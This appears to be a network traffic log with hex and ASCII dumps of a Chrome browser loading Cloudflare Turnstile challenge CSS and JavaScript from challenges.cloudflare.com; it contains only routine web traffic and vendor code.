2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	50660	104.18.94.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:13 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:13 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:13 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 902675a04e5f43f9-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:13 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	50662	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:14 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=902675a0487a1a24&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:14 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:14 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 116747 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 902675a449d70f98-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:14 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 Data Ascii: resh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","human_button_text":"Verify%20you%20are%20human","turnstile_feedback_report":"Having%20trouble%3F","turnstile_refresh":"Refresh","invalid_domain":"Invalid%20domain.%20Contact%20
2025-01-15 14:12:14 UTC	1369	IN	Data Raw: 2c 67 35 2c 67 36 2c 67 67 2c 67 72 2c 67 76 2c 67 77 2c 67 78 2c 67 45 2c 65 59 2c 65 5a 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 38 38 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 32 30 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 34 36 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 33 37 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 36 32 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 32 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 34 33 32 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 Data Ascii: 